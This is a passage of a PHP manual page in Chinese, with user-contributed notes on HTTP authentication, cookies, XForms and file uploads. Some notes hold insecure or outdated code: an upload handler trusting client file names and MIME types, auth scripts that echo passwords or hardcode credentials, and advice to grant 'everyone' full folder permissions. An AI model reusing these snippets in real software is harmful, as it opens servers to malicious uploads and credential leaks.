header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
header("Pragma: no-cache");
session_cache_limiter("public, no-store");
session_start();

function http_auth()
{
    $_SESSION['AUTH'] = 1;
    header('HTTP/1.0 401 Unauthorized');
    header('WWW-Authenticate: Basic realm="sn4g auth system"');
    // The actions to be done when the user clicks on 'cancel'
    exit();
}

if( !isset($_SERVER['PHP_AUTH_USER']) or @$_SESSION['AUTH'] != 1 )
{
    http_auth();
    exit();
}

// Actions do be done when the user has logged

// rest, must clean the session array
$_SESSION = array();
session_destroy();
?>
charly at towebs dot com 29-Apr-2005 10:13
A simpler approach on the post of:
bernard dot paques at bigfoot dot com
24-Sep-2004 01:42

This is another "patch" to the PHP_AUTH_USER and PHP_AUTH_PW server variables problem running PHP as a CGI.

First of all don't forget this fragment of code in your .htaccess (it's the only thing you need to make it work with mod_rewrite):

<IfModule mod_rewrite.c>
   RewriteEngine on
   RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
</IfModule>

Then login.php

<?php
$a = base64_decode( substr($_SERVER["REMOTE_USER"],6)) ;
if ( (strlen($a) == 0) || ( strcasecmp($a, ":" )  == 0 ))
{
   header( 'WWW-Authenticate: Basic realm="Private"' );
   header( 'HTTP/1.0 401 Unauthorized' );
}
else
{
   list($name, $password) = explode(':', $a);
   $_SERVER['PHP_AUTH_USER'] = $name;
   $_SERVER['PHP_AUTH_PW']    = $password;

}

echo 'PHP_AUTH_USER =' . $_SERVER['PHP_AUTH_USER'] . '<br>';
echo 'PHP_AUTH_PW =' . $_SERVER['PHP_AUTH_PW'] . '<br>';
echo 'REMOTE_USER =' . $_SERVER['REMOTE_USER'] . '<br>';
?>

First, we decode the base64 encoded string discarding the first 6 characters of "Basic " and then we do a regular validation.
At the end of the script we print the variables to verify it's working. This should be ommited in the production version.

It's a variation of the script by Bernard Paques.
Thanks to him for that snippet.
jason 14-Aug-2004 10:12
on the php+mysql auth code by tigran at freenet dot am

There are some security weaknesses.

First
$user
  and
$pass

are both insecure, they could leave this code open to SQL injection, you should always remove invalid characters in both, or at least encode them.

Actually storing passwords as MD5 hashes leaves you less work to secure.

Second security risks
The same mysql user has rights to both update and select, and possibly even insert and on your auth database no less.
Again the SQL inject attack may occur with this., and the end user could then change the users username, password, or anything else in relation to this.

Third items is more of a performance issue,

Do you really need to update the database, as updates are slower then selects, and if you do them every time they access the page, you are costing some speed penalty.

One option, if you want to use sql (I think mysql has it) is memory only databases, and create a table within memory, the stores a unique session identifier for each user, that is logged in, or alternatively if it's a single front end system, you could use db files.
php at cscott dot net 12-Aug-2004 04:18
Note that Microsoft has released a 'security update' which disables the use of username:password@host in http urls.

   http://support.microsoft.com/default.aspx?scid=kb;en-us;834489

The methods described above which rely on this will no longer work in Microsoft browsers, sadly.

You can re-enable this functionality as described at

   http://weblogs.asp.net/cumpsd/archive/2004/02/07/69366.aspx

but your users will probably be unwilling to do this.
nuno at mail dot ideianet dot pt 13-May-2004 03:33
In Windows 2003 Server/IIS6 with the php4+ cgi I only get HTTP authentication working with:
<?php header("Status: 401 Access Denied"); ?>
with
<?php header('HTTP/1.0 401 Unauthorized'); ?>
doesn't work !
I also need in "Custom Errors" to select the range of "401;1" through "401;5" and click the "Set to Default" button.
Thanks rob at theblip dot com
steuber at aego dot de 07-May-2004 04:15
Quite a good solution for the logout problem:

Just tell browser that it is successfully logged in!
This works as follows:
1. User clicks logout button
2. Script sends 401 Header
3. User does NOT enter a password
4. If no password is entered, script sends 200 Header

So the browser remembers no password as a valid password.

Example:

<?php
if (
       (!isset($_SERVER['PHP_AUTH_USER']))
    ||(
           ($_GET["login"]=="login")
    && !(
             ($_SERVER['PHP_AUTH_USER']=="validuser")
             && ($_SERVER['PHP_AUTH_PW']=="validpass")
           )
        )
    ||(
           ($_GET["logout"]=="logout")
     && !($_SERVER['PHP_AUTH_PW']=="")
        )
     ) {
Header("WWW-Authenticate: Basic realm=\"Realm\"");
Header("HTTP/1.0 401 Unauthorized");
echo "Not logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
} else if ($_SERVER['PHP_AUTH_PW']=="") {
echo "Logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
}
?>
najprogramato at post dot sk 27-Apr-2004 05:08
Don't use apache authentification in plain text. Is more better to use own script to generete new ID which is relevant to password. Apache auth data are sent to every page, so the posible mistake are known.
rob at theblip dot com 03-Mar-2004 08:47
Regarding HTTP authentication in IIS with the php cgi 4.3.4, there's one more step. I searched mightily and didn't find this information anywhere else, so here goes. When using HTTP auth with the php CGI, you need to do the following things:

1. In your php.ini file, set "cgi.rfc2616_headers = 0"

2. In Web Site Properties -> File/Directory Security -> Anonymous Access dialog box, check the "Anonymous access" checkbox and uncheck any other checkboxes (i.e. uncheck "Basic authentication," "Integrated Windows authentication," and "Digest" if it's enabled.) Click OK.

3. In "Custom Errors", select the range of "401;1" through "401;5" and click the "Set to Default" button.

It's this last step that is crucial, yet not documented anywhere. If you don't, instead of the headers asking for credentials, IIS will return its own fancy but useless 'you are not authenticated' page. But if you do, then the browser will properly ask for credentials, and supply them in the $_SERVER['PHP_AUTH_*'] elements.
Paul 08-Nov-2003 03:53
Here is a extremely easy way to successfully logout.

<?php
if ( $realm == '' )
$realm = mt_rand( 1, 1000000000 );
    header( 'WWW-Authenticate: Basic realm='.$realm );
?>

To log the user out simply change the value of $realm
emmanuel dot keller at net2000 dot ch 14-Jan-2003 02:14
Some servers won't support the HTTP1.0 specification and will give an error 500 (for instance). This happened with a server where I uploaded an authentication script.

If it happens, you can try the HTTP1.1 header syntax :

<?php
header("WWW-Authenticate: Basic realm=\"My Realm\"");
header('status: 401 Unauthorized');
?>
sjeffrey at inquesis dot com 29-Jan-2002 03:00
To get it to work with IIS try using this code before setting your "$auth = 0" and the "if (isset($PHP_AUTH_USER) && isset($PHP_AUTH_PW))"

<?php
//////////////////////////////////////////

if ($PHP_AUTH_USER == "" && $PHP_AUTH_PW == "" && ereg("^Basic ", $HTTP_AUTHORIZATION))
{
  list($PHP_AUTH_USER, $PHP_AUTH_PW) =
    explode(":", base64_decode(substr($HTTP_AUTHORIZATION, 6)));
}

//////////////////////////////////////////
?>

It worked for me on IIS 5 and PHP 4 in ISAPI


Cookie

PHP 透明地支持 HTTP cookie。cookie 是一种在远程浏览器端储存数据并以此来跟踪和识别用户的机制。可以用 setcookie() 或 setrawcookie() 函数来设置 cookie。cookie 是 HTTP 标头的一部分，因此 setcookie() 函数必须在其它信息被输出到浏览器前调用，这和对 header() 函数的限制类似。可以使用输出缓冲函数来延迟脚本的输出，直到按需要设置好了所有的 cookie 或者其它HTTP头。

如果 variables_order 中包括"C"，则任何从客户端发送的 cookie 都会被自动包括进 $_COOKIE 自动全局数组。如果希望对一个 cookie 变量设置多个值，则需在 cookie 的名称后加 [] 符号。

关于更多细节以及有关浏览器问题的注意事项，参见 setcookie() 和 setrawcookie() 函数。

User Contributed Notes

codewithsudeep at gmail dot com 04-Mar-2023 04:22
<?php
// Example
// Setting a cookie
setcookie("usertoken", "noice", time()+20*24*60*60);
// 20 days = 20*24*60*60 seconds

setcookie("usertoken", "", time()-3600)
?>


会话

PHP 中的会话支持包含在后续的访问中保留某些数据的方法。这使得能够构建更多的自定义应用程序以及增加网站的新引力。在 Session 参考节获取所有信息。

User Contributed Notes

There are no user contributed notes for this page.


处理 XForms

» XForms 定义了传统 web 表单的变种，可以用于更广泛的平台和浏览器，甚至非传统的媒体（例如 PDF 文档）。

XFroms 的第一个关键区别是表单怎样发送到客户端。 » XForms for HTML Authors 包含如何创建 XForms 的详细说明。处于本教程的目的，将只看简单的示例。

Example #1 简单的 XForms 搜索表单

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

上面的表单显示一个文本输入框（名为 q）和一个提交按钮。当点击提交按钮，表单将被发送到 action 所指示的页面。

从 web 应用程序的角度来看，这就是看起来不同的地方。在普通的 HTML 表单中，数据将作为 application/x-www-form-urlencoded 发送，在 XForms 的世界中，该信息是以 XML 格式数据发送的。

如果选择使用 XForms，这种情况下，肯定期望数据为 XML，查看 $HTTP_RAW_POST_DATA 将会找到包含由浏览器生成的 XML 文档，可以将其传递给喜欢的 XSLT 引擎或者文档解析器。

如果对格式不感兴趣，只想让数据加载到传统的 $_POST 变量中，只要将 method 属性修改为 urlencoded-post 就可以指示客户端浏览器将其作为 application/x-www-form-urlencoded 发送。

Example #2 使用 XForm 来填充 $_POST

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="urlencoded-post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

Note: 在编写本文档时，许多浏览器还不支持 XForms。如果上述例子失败，请检查自己的浏览器版本。

User Contributed Notes

contact at jimmajammalulu dot com 15-Sep-2020 07:56
According to MDN XForms has long been obsolete.
Darkener Daemon EX 13-Feb-2006 09:21
"php://stdin" doesn't exist in my PHP version. I use the following code block instead :
<?php
if (!isset($HTTP_RAW_POST_DATA))
    $HTTP_RAW_POST_DATA = file_get_contents("php://input");
?>
OrionI 07-Jul-2005 11:33
FireFox has an XForms plugin that works with the latest nightly builds. Check out http://www.mozilla.org/projects/xforms/ for more info. For IE support, there's an ActiveX control from Novell (http://developer.novell.com/xforms/) and one from x-port.net (http://www.formsplayer.com/).

There's also a JavaScript-based one coming out called FormFaces which looks very promising, especially since there are no plugins required and it works in IE, FF, and Opera: http://www.formfaces.com/
lphuberdeau at phpquebec dot org 20-Aug-2004 09:55
Since HTTP_RAW_POST_DATA requires a configuration to be generated and is not enabled as a default value, you will probably have to use the PHP STDIN stream to get the raw data. It's probably better to use this method as the raw data will not be generated every time, even when not needed.

<?php
$fp = fopen( "php://stdin", "r" );
$data = '';
while( !feof( $fp ) )
    $data .= fgets( $fp );
fclose( $fp );
?>


文件上传处理

Table of Contents

  • POST 方法上传
  • 错误信息说明
  • 常见缺陷
  • 上传多个文件
  • 对 PUT 方法的支持
  • 参见

User Contributed Notes

shubhamtakode at gmail dot com 07-Dec-2014 05:04
// code for handling simple http uploads

<?php
//properties of the uploaded file
$name= $_FILES["myfile"]["name"];
$type= $_FILES["myfile"]["type"];
$size= $_FILES["myfile"]["size"];
$temp= $_FILES["myfile"]["temp_name"];
$error= $_FILES["myfile"]["error"];

if ($error > 0)
    die("Error uploading file! code $error.");
else
   {
    if($type=="image/png" || $size > 2000000)//condition for the file
    {
    die("Format  not allowed or file size too big!");
    }
    else
    {
     move_uploaded_file($temp, "uploaded/" .$name);
     echo "Upload complete!";
     }
}

?>
CertaiN 29-Dec-2013 11:09
You'd better check $_FILES structure and values throughly.
The following code cannot cause any errors absolutely.

Example:
<?php

header('Content-Type: text/plain; CHARSET=gb2312');

try {

    // Undefined | Multiple Files | $_FILES Corruption Attack
    // If this request falls under any of them, treat it invalid.
    if (
        !isset($_FILES['upfile']['error']) ||
        is_array($_FILES['upfile']['error'])
    ) {
        throw new RuntimeException('Invalid parameters.');
    }

    // Check $_FILES['upfile']['error'] value.
    switch ($_FILES['upfile']['error']) {
        case UPLOAD_ERR_OK:
            break;
        case UPLOAD_ERR_NO_FILE:
            throw new RuntimeException('No file sent.');
        case UPLOAD_ERR_INI_SIZE:
        case UPLOAD_ERR_FORM_SIZE:
            throw new RuntimeException('Exceeded filesize limit.');
        default:
            throw new RuntimeException('Unknown errors.');
    }

    // You should also check filesize here.
    if ($_FILES['upfile']['size'] > 1000000) {
        throw new RuntimeException('Exceeded filesize limit.');
    }

    // DO NOT TRUST $_FILES['upfile']['mime'] VALUE !!
    // Check MIME Type by yourself.
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (false === $ext = array_search(
        $finfo->file($_FILES['upfile']['tmp_name']),
        array(
            'jpg' => 'image/jpeg',
            'png' => 'image/png',
            'gif' => 'image/gif',
        ),
        true
    )) {
        throw new RuntimeException('Invalid file format.');
    }

    // You should name it uniquely.
    // DO NOT USE $_FILES['upfile']['name'] WITHOUT ANY VALIDATION !!
    // On this example, obtain safe unique name from its binary data.
    if (!move_uploaded_file(
        $_FILES['upfile']['tmp_name'],
        sprintf('./uploads/%s.%s',
            sha1_file($_FILES['upfile']['tmp_name']),
            $ext
        )
    )) {
        throw new RuntimeException('Failed to move uploaded file.');
    }

    echo 'File is uploaded successfully.';

} catch (RuntimeException $e) {

    echo $e->getMessage();

}

?>
jan at lanteraudio dot nl 25-Feb-2013 01:31
Also stumbled on the max_file_size problem, in particular getting no response, no error whatsoever when uploading a file bigger than the set upload_max_filesize.

I found that it's not the upload_max_filesize setting, but instead the post_max_size setting causing this no response issue. So if you set post_max_size way larger than upload_max_filesize, at least you are likely to get an error response when filesize exceeds upload_max_filesize but is still within the limits of post_max_size.

Hope this helps anyone.
Thomas 22-Jul-2012 06:08
MIME type can be faked.

VVV

$_FILES['userfile']['type']

The mime type of the file, if the browser provided this information. An example would be "image/gif". This mime type is however not checked on the PHP side and therefore don't take its value for granted.

http://www.php.net/manual/en/features.file-upload.post-method.php

[Editor's note: removed a reference to a deleted note, and edited the note to make sense by itself.]
xmontero at dsitelecom dot com 06-Feb-2012 10:23
If "large files" (ie: 50 or 100 MB) fail, check this:

It may happen that your outgoing connection to the server is slow, and it may timeout not the "execution time" but the "input time", which for example in our system defaulted to 60s. In our case a large upload could take 1 or 2 hours.

Additionally we had "session settings" that should be preserved after upload.

1) You might want review those ini entries:

* session.gc_maxlifetime
* max_input_time
* max_execution_time
* upload_max_filesize
* post_max_size

2) Still fails? Caution, not all are changeable from the script itself. ini_set() might fail to override.

More info here:
http://www.php.net/manual/es/ini.list.php

You can see that the "upload_max_filesize", among others, is PHP_INI_PERDIR and not PHP_INI_ALL. This invalidates to use ini_set():
http://www.php.net/manual/en/configuration.changes.modes.php

Use .htaccess instead.

3) Still fails?. Just make sure you enabled ".htaccess" to overwrite your php settings. This is made in the apache file. You need at least AllowOverride Options.

See this here:
http://www.php.net/manual/en/configuration.changes.php

You will necessarily allow this manually in the case your master files come with AllowOverride None.

Conclussion:

Depending on the system, to allow "large file uploads" you must go up and up and up and touch your config necessarily up to the apache config.

Sample files:

These work for me, for 100MB uploads, lasting 2 hours:

In apache-virtual-host:
-----------------------------------------------------------
<Directory /var/www/MyProgram>
    AllowOverride Options
</Directory>
-----------------------------------------------------------

In .htaccess:
-----------------------------------------------------------
php_value session.gc_maxlifetime 10800
php_value max_input_time         10800
php_value max_execution_time     10800
php_value upload_max_filesize    110M
php_value post_max_size          120M
-----------------------------------------------------------

In the example,
- As I last 1 to 2 hours, I allow 3 hours (3600x3)
- As I need 100MB, I allow air above for the file (110M) and a bit more for the whole post (120M).
Phil Ciebiera 17-Sep-2009 01:54
On a Microsoft platform utilizing IIS, you may run into a situation where, upon moving the uploaded file, anonymous web users can't access the content without being prompted to authenticate first...

The reason for this is, the uploaded file will inherit the permissions of the directory specified in the directive upload_tmp_dir of php.ini.  If this directive isn't set, the default of C:\Windows\Temp is used.

You can work around this by granting the IUSR_[server name] user read access to your temporary upload directory, so that after you move_uploaded_file the permissions will already be set properly.

It's also a good idea to set the Execute Permissions of the upload directory to NOT include Executables, for security reasons.
To accomplish this:
-Open the IIS Manager
-Browse to the relevant sites directory where the uploads will be placed
-Right Click the folder and select Properties
-In the Directory tab of the resulting dialog, set the Execute permissions to be None

This took me a while to figure out, so I hope this helps save some other peoples time.
info at levaravel dot com 30-Jan-2009 07:39
A little codesnippet which returns a filesize in a more legible format.

<?php

function display_filesize($filesize){

    if(is_numeric($filesize)){
    $decr = 1024; $step = 0;
    $prefix = array('Byte','KB','MB','GB','TB','PB');

    while(($filesize / $decr) > 0.9){
        $filesize = $filesize / $decr;
        $step++;
    }
    return round($filesize,2).' '.$prefix[$step];
    } else {

    return 'NaN';
    }

}

?>
damien from valex 04-Jan-2009 05:53
This is simpler method of checking for too much POST data (alternative to that by v3 from sonic-world.ru).

<?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST' && empty($_POST) && $_SERVER['CONTENT_LENGTH'] > 0) {
        throw new Exception(sprintf('The server was unable to handle that much POST data (%s bytes) due to its current configuration', $_SERVER['CONTENT_LENGTH']));
    }
?>
rnagavel at yahoo dot com dot au 25-Nov-2008 01:10
If $_FILES is always empty, check the method of your form.
It should be POST. Default method of a form is GET.

<form action="myaction.php">
 <input type="file" name"userfile">
</form>
File will not be uploaded as default method of the form is GET.

<form action="myaction.php" method="POST">
 <input type="file" name"userfile">
</form>
Files will be uploaded and $_FILES will be populated.
jahajee 29-Apr-2008 04:27
hi , i was having difficulty with the upload_max_filesize , if u set the max file size lesser than the php setting then ur script to report error will only work till this difference between ur max set file size and the php set max size .Hence if the uploaded file exceeds the php max file size then php end abruptly without a trace of error that is it behaves like no file is uploaded and hence no error reported .Sure if uploading a file is optional for a form then a user who uploads larger file will get no error and still the form will be processed only without the file.
The method of using GET can't be used for optional uploads. Can't find help even in the bugs .Be careful with optional uploads.
jahajee
Rob 24-Apr-2008 01:07
You should not have any directories within your website root that has the permissions required for file upload.  If you are going to do a file upload, I recommend you use the PHP FTP Functions in conjunction with your file field, that way the files are transferred to a remote FTP location separate from your server.
ragtime at alice-dsl dot com 24-Sep-2007 08:55
I don't believe the myth that 'memory_size' should be the size of the uploaded file. The files are definitely not kept in memory... instead uploaded chunks of 1MB each are stored under /var/tmp and later on rebuild under /tmp before moving to the web/user space.

I'm running a linux-box with only 64MB RAM, setting the memory_limit to 16MB and uploading files of sizes about 100MB is no problem at all! Nevertheless, some users reported a problem at a few 100MB, but that's not confirmed... ;-)

The other sizes in php.ini are set to 1GB and the times to 300... maybe the execution_time limits before, since the CPU is just a 233MHz one... :-)

====

OK,... I got it... finally!

If some of you have also problems uploading large files but the usual sizes/times in php.ini are ok, please check

    session.gc_maxlifetime

when you are using session management with your upload script!

The default value is 1440 which is just 24min... so with only 600kbit/s upload rate the session will be closed automatically after uploading
about 100MB. Actually you are able to upload more, but the file won't be copied from the temporary to the destination folder... ;-)

You can set the value also directly inside the php-script via
<?php ini_set("session.gc_maxlifetime","10800"); ?>
svenr at selfhtml dot org 23-Apr-2007 03:13
Clarification on the MAX_FILE_SIZE hidden form field:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
jedi_aka at yahoo dot com 18-Oct-2006 12:12
For those of you trying to make the upload work with IIS on windows XP/2000/XP Media and alike here is a quick todo.

1) Once you have created subdirectories "uploads/"  in the same directory wher you code is running use the code from oportocala above and to make absolutely sure sure that the file you are trying to right is written under that folder. ( I recomend printing it using echo $uploadfile; )

2) In windows explorer browse to the upload directory created above and share it. To do that execute the following substeps.
     a) Right click the folder click "sharing and security..."
     b) Check 'Share this folder on the network'
     c) Check 'Allow network users to change my files' ( THIS STEP IS VERY IMPORTANT )
     d) click 'ok' or 'apply'

3) you can then go in the IIS to set read and write permissions for it. To do that execute the followin substeps.
     a) Open IIS (Start/Controp Panel (classic View)/ Admistrative tools/Internet Information Service
     b) Browse to your folder (the one we created above)
     c) right click and select properties.
     d) in the Directory tab, make sure, READ, WRITE, AND DIRECTORY BROWSING are checked.
     e) For the security freaks out there, You should also make sure that 'execute permissions:' are set to Script only or lower (DO NOT SET IT TO 'script and executable)'( that is because someone could upload a script to your directory and run it. And, boy, you do not want that to happen).

there U go.

Send me feed back it if worked for you or not so that I can update the todo.

jedi_aka@yahoo.com

PS: BIG thanks to oportocala
david at cygnet dot be 12-May-2006 05:14
If you are experiencing problems posting files from Internet Explorer to a PHP script over an SSL connection, for instance "Page can not be displayed" or empty $_FILES and $_POST arrays (described by jason 10-Jan-2006 02:08), then check out this microsoft knowledgebase article:

http://support.microsoft.com/?kbid=889334

This knowledgebase article explains how since service pack 2 there may be problems posting from IE over SSL. It is worth checking whether your problem is IE specific since this is definitely not a PHP problem!
geert dot php at myrosoft dot com 23-Dec-2005 12:16
When file names do contain single quote parts of the filename are being lost.
eg.: uploading a filename
      startName 'middlepart' endName.txt
will be uploaded (and hence stored in the _Files ['userfile'] variable as
      endName.txt
skipping everything before the second single quote.
djot at hotmail dot com 27-Nov-2005 02:02
-
Be carefull with setting max_file_size via
<?php ini_get('upload_max_filesize'); ?>

ini_get might return values like "2M" which will result in non working uploads.

This was the "no no" in my case:

<?php
$form = '<input type="hidden" name="MAX_FILE_SIZE" value=".ini_get('upload_max_filesize')." />';
?>

Files were uploaded to the server, but than there was not any upload information, not even an error message. $_FILES was completly empty.

djot
-
mariodivece at bytedive dot com 24-Aug-2005 11:33
Just wanted to point out a detail that might be of interest to some:

when using base64_encode to store binary data in a database, you are increasing the size of the data by 1.33 times. There is a nicer way of storing the data directly. Try the following:

<?php $data = mysql_real_escape_string($data); ?>

This will leave the data untouched and formatted in the correct way and ready to be inserted right into a MySQL statement without wasting space.

By the way, I'd like to thank therebechips for his excellent advice on data chunks.
warwickbarnes at yahoo dot co dot uk 18-Aug-2005 04:58
You may come across the following problem using PHP on Microsoft IIS: getting permission denied errors from the move_uploaded_file function even when all the folder permissions seem correct. I had to set the following to get it to work:

1. Write permissions on the the folder through the IIS management console.
2. Write permissions to IUSR_'server' in the folder's security settings.
3. Write permissions to "Domain Users" in the folder's security settings.

The third setting was required because my application itself lives in a secure folder - using authentication (either Basic or Windows Integrated) to identify the users. When the uploads happen IIS seems to be checking that these users have write access to the folder, not just whether the web server (IUSR_'server') has access.

Also, remember to set "Execute Permissions" to "None" in the IIS management console, so that people can't upload a script file and then run it. (Other checks of the uploaded file are recommended as well but 'Execute None' is a good start.)
myko AT blue needle DOT com 16-Aug-2005 09:13
Just a quick note that there's an issue with Apache, the MAX_FILE_SIZE hidden form field, and zlib.output_compression = On.  Seems that the browser continues to post up the entire file, even though PHP throws the MAX_FILE_SIZE error properly.  Turning zlib compression to OFF seems to solve the issue.  Don't have time to dig in and see who's at fault, but wanted to save others the hassle of banging their head on this one.
keith at phpdiary dot org 24-May-2005 04:14
Caution: *DO NOT* trust $_FILES['userfile']['type'] to verify the uploaded filetype; if you do so your server could be compromised.  I'll show you why below:

The manual (if you scroll above) states: $_FILES['userfile']['type'] -  The mime type of the file, if the browser provided this information. An example would be "image/gif".

Be reminded that this mime type can easily be faked as PHP doesn't go very far in verifying whether it really is what the end user reported!

So, someone could upload a nasty .php script as an "image/gif" and execute the url to the "image".

My best bet would be for you to check the extension of the file and using exif_imagetype() to check for valid images.  Many people have suggested the use of getimagesize() which returns an array if the file is indeed an image and false otherwise, but exif_imagetype() is much faster. (the manual says it so)
ceo at l-i-e dot com 19-May-2005 08:25
Using /var/www/uploads in the example code is just criminal, imnsho.

One should *NOT* upload untrusted files into your web tree, on any server.

Nor should any directory within your web tree have permissions sufficient for an upload to succeed, on a shared server. Any other user on that shared server could write a PHP script to dump anything they want in there!

The $_FILES['userfile']['type'] is essentially USELESS.
A. Browsers aren't consistent in their mime-types, so you'll never catch all the possible combinations of types for any given file format.
B. It can be forged, so it's crappy security anyway.

One's code should INSPECT the actual file to see if it looks kosher.

For example, images can quickly and easily be run through imagegetsize and you at least know the first N bytes LOOK like an image.  That doesn't guarantee it's a valid image, but it makes it much less likely to be a workable security breaching file.

For Un*x based servers, one could use exec and 'file' command to see if the Operating System thinks the internal contents seem consistent with the data type you expect.

I've had trouble in the past with reading the '/tmp' file in a file upload.  It would be nice if PHP let me read that file BEFORE I tried to move_uploaded_file on it, but PHP won't, presumably under the assumption that I'd be doing something dangerous to read an untrusted file.  Fine.   One should move the uploaded file to some staging directory.  Then you check out its contents as thoroughly as you can.  THEN, if it seems kosher, move it into a directory outside your web tree.  Any access to that file should be through a PHP script which reads the file.  Putting it into your web tree, even with all the checks you can think of, is just too dangerous, imnsho.

There are more than a few User Contributed notes here with naive (bad) advice.  Be wary.
robpet at tds dot net 02-Apr-2005 10:35
People have remarked that incorrect permissions on the upload directory may prevent photos or other files from uploading.  Setting the Apache owner of the directory incorrectly will also prevent files from uploading -- I use a PHP script that creates a directory (if it doesn't exist already) before placing an uploaded file into it.  When the script creates the directory and then copies the uploaded file into the directory there is no problem because the owner of the file is whatever Apache is running as, typically "nobody". However, lets say that I've moved the site to a new server and have copied over existing file directories using FTP.  In this case the owner will have a different name from the Apache owner and files will not upload. The solution is to TelNet into the site and reset the owner to "nobody" or whatever Apache is running as using the CHOWN command.
Leevi at izilla dot com dot au 08-Feb-2005 10:52
This may help a newbie to file uploads.. it took advice from a friend to fix it..

If you are using
-windows xp
-iis 5
-php 5

If you keep getting permission errors on file uploads... and you have sworn you set the permissions to write to the directory in iis...

double check that
a) in windows explorer under tools > folder options
click the view tab
scroll down all the way to "use simple file sharing (recommended)"
uncheck this box

b) find the folder you wish to upload to on your server
c) click properties and then the security tab
d) make sure the appropriate write settings are checked.

you may want to test by setting "everyone" to have full permission....

BEWARE doing this will open up big security holes on your server....

hope this helps

Leevi Graham
Tyfud 07-Jan-2005 08:44
It's important to note that when using the move_uploaded_file() command, that some configurations (Especially IIS) will fail if you prefix the destination path with a leading "/". Try the following:

<?php move_uploaded_file($tmpFileName,'uploads/'.$fileName); ?>

Setting up permissions is also a must. Make sure all accounts have write access to your upload directory, and read access if you wish to view these files later. You might have to chmod() the directory or file afterwards as well if you're still getting access errors.
therhinoman at hotmail dot com 27-Aug-2004 01:20
If your upload script is meant only for uploading images, you can use the image function getimagesize() (does not require the GD image library) to make sure you're really getting an image and also filter image types.

<?php getimagesize($file); ?>

...will return false if the file is not an image or is not accessable, otherwise it will return an array...

<?php
$file = 'somefile.jpg';

# assuming you've already taken some other
# preventive measures such as checking file
# extensions...

$result_array = getimagesize($file);

if ($result_array !== false) {
    $mime_type = $result_array['mime'];
    switch($mime_type) {
        case "image/jpeg":
            echo "file is jpeg type";
            break;
        case "image/gif":
            echo "file is gif type";
            break;
        default:
            echo "file is an image, but not of gif or jpeg type";
    }
} else {
    echo "file is not a valid image file";
}
?>

using this function along with others mentioned on this page, image ploading can be made pretty much fool-proof.

See http://php.net/manual/en/function.getimagesize.php for supported image types and more info.
olijon, iceland 18-Jun-2004 08:24
When uploading large images, I got a "Document contains no data" error when using Netscape and an error page when using Explorer. My server setup is RH Linux 9, Apache 2 and PHP 4.3.

I found out that the following entry in the httpd.conf file was missing:

<Files *.php>
  SetOutputFilter PHP
  SetInputFilter PHP
  LimitRequestBody 524288 (max size in bytes)
</Files>

When this had been added, everything worked smoothly.

- Oli Jon, Iceland
steve dot criddle at crd-sector dot com 16-Apr-2004 11:43
IE on the Mac is a bit troublesome.  If you are uploading a file with an unknown file suffix, IE uploads the file with a mime type of "application/x-macbinary".  The resulting file includes the resource fork wrapped around the file.  Not terribly useful.

The following code assumes that the mime type is in $type, and that you have loaded the file's contents into $content.  If the file is in MacBinary format, it delves into the resource fork header, gets the length of the data fork (bytes 83-86) and uses that to get rid of the resource fork.

(There is probably a better way to do it, but this solved my problem):

<?php
if ($type == 'application/x-macbinary') {
    if (strlen($content) < 128) die('File too small');
    $length = 0;
    for ($i=83; $i<=86; $i++) {
        $length = ($length * 256) + ord(substr($content,$i,1));
          }
    $content = substr($content,128,$length);
}
?>
~caetin~ ( at ) ~hotpop~ ( dot ) ~com~ 10-Feb-2004 08:37
From the manual:

     If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none.

As of PHP 4.2.0, the "none" is no longer a reliable determinant of no file uploaded. It's documented if you click on the "error codes" link, but you need to look at the $_FILES['your_file']['error']. If it's 4, then no file was selected.
maya_gomez ~ at ~ mail ~ dot ~ ru 06-Feb-2004 05:20
when you upload the file, $_FILES['file']['name'] contains its original name converted into server's default charset.
if a name contain characters that aren't present in default charset, the conversion fails and the $_FILES['file']['name'] remains in original charset.

i've got this behavior when uploading from a windows-1251 environment into koi8-r. if a filename has the number sign "?" (0xb9), it DOES NOT GET CONVERTED as soon as there is no such character in koi8-r.

Workaround i use:

<?php
if (strstr ($_FILES['file']['name'], chr(0xb9)) != "")
{
    $_FILES['file']['name'] = iconv (
        "windows-1251",
        "koi8-r",
        str_replace (chr(0xb9), "N.", $_FILES['file']['name']));
};
?>
garyds at miraclemedia dot ca 15-Mar-2003 06:12
